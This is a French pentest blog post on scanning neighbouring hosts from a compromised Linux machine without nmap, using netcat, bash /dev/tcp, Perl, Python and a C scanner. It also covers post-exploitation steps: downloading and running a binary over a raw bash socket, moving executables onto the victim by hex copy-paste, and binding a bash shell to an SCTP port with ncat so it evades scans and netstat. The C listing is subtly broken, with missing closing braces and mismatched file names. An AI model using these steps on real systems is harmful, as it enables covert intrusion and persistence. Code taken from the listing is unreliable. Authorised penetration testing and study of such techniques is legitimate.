jeudi 6 juillet 2017

Scanner lors d'un pivot


Scanner sans outil spécifique lors d'un pivot

Lors d'un pentest, lorsque l'auditeur obtient un shell sur un système qu'il vient de compromettre, il se retrouve sur un environnement ne disposant pas de nmap. De surcroît, il ne possède pas forcément de privilèges root. En général, le pentester n'est pas autorisé à procéder à des installations. Seule l'exécution de binaire standalone est accepté par le propriétaire du système.

En conséquence, l'auditeur doit résoudre ces différentes difficultés. Voici plusieurs façons de procéder lors d'un pivoting pour explorer les réseaux et systèmes depuis un système Linux nouvellement compromis.


Netcat

Tout d'abord, netcat (ou nc) peut être présent sur le système car il est bien souvent installé par défaut. Si c'est le cas, netcat possède une option de scan TCP (-z). Il suffit de spécifier la plage de ports et l'IP cible.

$ nc -zv <host> <port range>
$ nc -zv 192.168.1.28 1-65353 2>&1 | grep -i succeeded

Bash

Le shell bash livré par l'éditeur de la distribution peut être compilé avec le support du pseudo périphérique interne /dev/tcp. Dans ce cas, il est possible d'ouvrir des sockets directement avec bash

Pour scanner une liste de ports avec bash :

$ for i in 21 22 23 111 41998; do (echo > /dev/tcp/192.168.1.50/$i) > /dev/null 2>&1 && echo "$i/tcp open"; done
22/tcp open
111/tcp open
41998/tcp open

Pour scanner une plage de ports (ex: 1-65535):

$ for ((i=1; i<=65535; i++)); do (echo > /dev/tcp/192.168.1.50/$i) > /dev/null 2>&1 && echo "$i/tcp open"; done 
22/tcp open
111/tcp open
41998/tcp open

Bash permet d'ouvrir des descripteurs en lecture/écriture et notamment des descripteurs pointant sur des sockets.  
  1. Le premier numéro de descripteur disponible dans un shell (après stdout) est 3. 
  2. Une ouverture en lecture/écriture s'écrit  avec les caractères de redirections "<>". Pour ouvrir le descripteur de fichier n° 3 en lecture/.écriture : exec 3<>
  3. Le file descriptor est associé à une socket TCP grâce au pseudo périphérique /dev/tcp. La syntaxe est : "/dev/tcp/www.google.com/80
  4. Une écriture sur une socket est donc de la forme echo "XXX" >&3 
  5. Une lecture depuis la socket :  cat <&3
Ainsi, pour télécharger un exécutable via HTTP, il faut réaliser une écriture locale, en redirigeant la sortie vers un fichier :

$ exec 3<>/dev/tcp/pentest/80
$ echo -e "GET /portscan HTTP/1.1\r\nhost: http://pentest\r\nConnection: close\r\n\r\n" >&3
$ cat <&3 > portscan


Le fichier en sortie portscan contient le header HTTP du serveur Web :

$ hd -n 16  portscan 
00000000  48 54 54 50 2f 31 2e 30  20 32 30 30 20 4f 4b 0d  |HTTP/1.0 200 OK.|
00000010


Pour supprimer le header il faut trouver l'offset du début du fichier ELF, ici il y a 203 octets :

$ tail -c +203 portscan | hd -n 16
00000000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010
$ tail -c +203 portscan > portscanexe


Après troncature du header de portscan dans portscanexe, la vérification du type du fichier confirme qu'il s'agit d'un fichier exécutable de type ELF :

$ file portscanexe 
portscanexe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=37cad68ecc478440b7c9c40ec8a22dabe4e885f5, not stripped


En ajoutant les droits en exécution, il devient  possible d'exécuter le binaire et de scanner le réseau avec un programme téléchargé via bash. Le programme téléchargé utilise l'API socket standard car il effectue des hanshake TCP complet. Il ne requiert aucun droit privilégié pour l'exécution.

$ chmod +x portscanexe 
$ ./portscanexe 
Usage: ./portscanexe <ip> <start_port> <end_port>
$ ./portscanexe pentest 80 81
[*] Scanning pentest (192.168.1.73) TCP range port: 80-81
   80/tcp open
[+] Scan done.

PERL

Si l'interpréteur PERL est présent sur le système, alors un script PERL peut être utilisé pour scanner le voisinage :

$ perl portscan.pl 192.168.1.50 1 65535
[*] Scanning 192.168.1.50 for open TCP ports 1-65535...
  22/tcp  open
 111/tcp  open
41998/tcp  open
[+] Scan done.

Script portscan.pl
$ cat portscan.pl
#!/usr/bin/perl

use Socket;

$| = 1;
($ip, $port, $port_stop) = @ARGV;

if ($ip eq "")
{   &usage();
}
$port = 1 if not $port;
$port_stop = 1024 if not $port_stop;

print "[*] Scanning $ip for open TCP ports $port-$port_stop...\n";

for (; $port < $port_stop; $port += 1)
{   socket(SOCKET, PF_INET, SOCK_STREAM, 0);
   $addr = inet_aton($ip);
   $ipaddr = sockaddr_in($port, $addr);
   if (connect(SOCKET, $ipaddr))
   {   printf "%#5d/tcp  open\n", $port;
       close SOCKET || die "close: $!";
   }
}
printf "[+] Scan done.\n";

sub usage()
{   print "Usage: ./portscan.pl <host> [ <start port> ] | <stop port> ]\n";
   print "Defaults port range 1-1024 \n";
   exit 0;
}

PYTHON

Si l'interpréteur PYTHON est présent sur le système, alors un script PYTHON peut être utilisé pour scanner le voisinage, ci-dessous un code python similaire à celui en perl. :

$ cat portscan.py 
#!/usr/bin/env python

from socket import *
import sys, time
from datetime import datetime                                                       
min_port = 1
max_port = 65535
def scan_host(host, port, r_code = 1): 
    try:
        s = socket(AF_INET, SOCK_STREAM)
        code = s.connect_ex((host, port))
        if code == 0:
           r_code = code
        s.close()
    except Exception, e:
        pass
    return r_code

if len(sys.argv) == 2:
        host = sys.argv[1]
else:
        print "usage: %s <IP address>\n" % (sys.argv[0])
        sys.exit(1)

hostip = gethostbyname(host)
print "[+] Scanning %s (%s) on TCP port range %s-%s" % (host, hostip, str(min_port), str(max_port)) 
print "[+] Scanning started %s at %s" % (time.strftime("%F"), time.strftime("%H:%M:%S"))

start_time = datetime.now()

for port in range(min_port, max_port):
    try:
        response = scan_host(host, port)
        if response == 0:
            print "%#5d/tcp  open" % (port)
    except Exception, e:
        pass
stop_time = datetime.now()
total_time_duration = stop_time - start_time
total_port = max_port - min_port + 1
print "[!] Scanning finished %s at %s" % (time.strftime("%F"),time.strftime("%H:%M:%S"))
print "[!] Scanning %d ports duration: %s" % (total_port, total_time_duration) 


Exécutable ELF

La dernière option, déjà évoquée supra, est d'utiliser un exécutable ELF de petite taille, utilisant l'API socket TCP standard, sans privilège d'exécution, pour scanner les alentours en TCP connect. En l'absence d'outils locaux (y compris les sockets en bash) pour le download, il est possible de recourir à un copier/coller dans le terminal ouvert lors de la compromission via un éditeur comme vi. L'utilitaire xxd permet de convertir le fichier binaire en hexadécimal. Un copier/coller sur le système victime suivi d'une conversion inverse de hexadécimal vers binaire suffira pour procéder à un transfert.

Conversion du binaire en hexadécimal
$ xxd -p portscan 
7f454c4602010100000000000000000002003e0001000000600940000000
00004000000000000000f821000000000000000000004000380009004000
[...]
5f5f005f49544d5f7265676973746572544d436c6f6e655461626c65005f
696e697400736f636b65744040474c4942435f322e322e3500

Edition sur la cible d'un fichier texte
$ vim hex
[...]<insert> + copier/coller
$ cat hex
7f454c4602010100000000000000000002003e0001000000600940000000
00004000000000000000f821000000000000000000004000380009004000
[...]
5f5f005f49544d5f7265676973746572544d436c6f6e655461626c65005f
696e697400736f636b65744040474c4942435f322e322e3500


Conversion hexadécimale vers binaire
$ xxd -r -p hex > exe
$ file exe
exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2
, for GNU/Linux 2.6.24, BuildID[sha1]=37cad68ecc478440b7c9c40ec8a22dabe4e885f5, not stripped



Exécution du fichier
$ chmod +x exe
$ ./exe pentest 20 80
[*] Scanning pentest (192.168.1.73) TCP range port: 20-80
  22/tcp open
  80/tcp open
[+] Scan done.



Code source de portscan.c
/* portscan.c
 * Build: gcc portscan.c -o portscan
 */
#include<stdio.h>
#include<sys/socket.h>
#include<errno.h>
#include<netdb.h>
#include<string.h>
#include<stdlib.h>
#include <arpa/inet.h>

void usage(char * pgm)
{    printf("Usage: %s <ip> <start_port> <end_port>\n", pgm);
         exit (1);

int get_ipaddr(char * hostname, char* ip) 
{
    struct hostent * host;     
    struct in_addr ** addr_list;     
    int i; 
       
    if ((host = gethostbyname( hostname ) ) == NULL)     
    {   herror("gethostbyname");         
        return 1;
    }     
    addr_list = (struct in_addr **) host->h_addr_list;
    for(i = 0; addr_list[i] != NULL; i++)
    {   strcpy(ip, inet_ntoa(*addr_list[i]));
        return 0;
    }
    return 1;
}
int main(int argc , char **argv)
{
    struct hostent * host;
    int              err, i, sock ,start , end;
    struct sockaddr_in sa;
    char             hostname[256];
    char             ip[128];
    if (argc != 4)
           usage(argv[0]);
     
    /* Get IP and hostname to scan */
    strcpy(hostname, argv[1]);    
    get_ipaddr(hostname, ip);

    /* Get range port */
    sscanf(argv[2], "%d" , &start);
    sscanf(argv[3], "%d" , &end);
    printf("[*] Scanning %s (%s) TCP range port: %d-%d\n", 
           hostname, ip, start, end);

    /* Initialise the sockaddr_in structure */
    strncpy((char*)&sa , "" , sizeof(sa));
    sa.sin_family = AF_INET;
     
    /* Direct ip address or resolv it */
    if (isdigit(hostname[0]))
    {   sa.sin_addr.s_addr = inet_addr(hostname);
    }
    else if ((host = gethostbyname(hostname)) != 0)
    {    strncpy((char*)&sa.sin_addr, (char*)host->h_addr , 
                 sizeof(sa.sin_addr));
    }
    else
    {   herror(hostname);
        exit(2);
    }
     
    /* Start port scan */
    for (i = start ; i <= end ; i++) 
    {
        sa.sin_port = htons(i);
        sock = socket(AF_INET, SOCK_STREAM, 0);
        if (sock < 0) 
        {   perror("[-] Error: socket");
            exit(1);
        }
        err = connect(sock , (struct sockaddr*)&sa , sizeof sa);
        if (err < 0) fflush(stdout);
        else         printf("%5d/tcp open\n",  i);      
        close(sock);
    }
     
    printf("[+] Scan done.\n");
    fflush(stdout);
    return(0);

Les scans UDP ne sont pas abordés. Néanmoins, les pentest en environnement Telecom permettent de découvrir des services sur SCTP. SCTP est une couche de transport comme TCP ou UDP utilisée pour des protocoles de signalisation Telecom pour la voix (SS7/SIGTRAN ou Diameter). SCTP est présent dans les cœurs de réseaux mobile et fixe. Du point de vue de l'attaquant, l'intérêt de SCTP est qu'un shell bindé sur un port est transparent lors de scans classiques ou sur le système avec la commande netstat (c'est de moins en moins vrai selon les distributions Linux). L'utilitaire ncat (version améliorée de netcat), permet d'utiliser SCTP en IPv4 ou IPv6 pour binder un shell sur un port.

Exemple de bind de bash sur SCTP  en IPv4:

victim$ ncat -k -l --sctp -4 -p 4444 -e /bin/bash

L'attaquant peut découvrir le port SCTP :

attacker$ ./sctp_port_scan victim 4000 5000     
[*] Scanning victim (192.168.1.50) SCTP range port: 4000-5000
4444/sctp open
[+] Scan done.

Une connexion en SCTP est possible avec ncat

attacker$ ncat --sctp victim 4444
uname -a Linux Kali 4.0.0-kali1-amd64 #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) x86_64 GNU/Linux
whoami
user



Le code source est dérivé de celui de portscan.c avec 4 modifications (en rouge):

$ diff sctp_port_scan.c portscan.c                                
11d10
< #include <netinet/sctp.h>
15d13
<  
58c56
<     printf("[*] Scanning %s (%s) SCTP range port: %d-%d\n", hostname, ip, start, end);
---
>     printf("[*] Scanning %s (%s) TCP range port: %d-%d\n", hostname, ip, start, end);


80c78
<         sock = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
---
>         sock = socket(AF_INET, SOCK_STREAM, 0);
87c85
<         else         printf("%5d/sctp open\n",  i);
---
>         else         printf("%5d/tcp open\n",  i);  





Pour compiler, il est nécessaire d'installer au préalable la librairie libsctp-dev.

$ sudo apt-get install libsctp-dev
$ gcc stcp_portscan.c -o stcp_portscan



Aucun commentaire:

Enregistrer un commentaire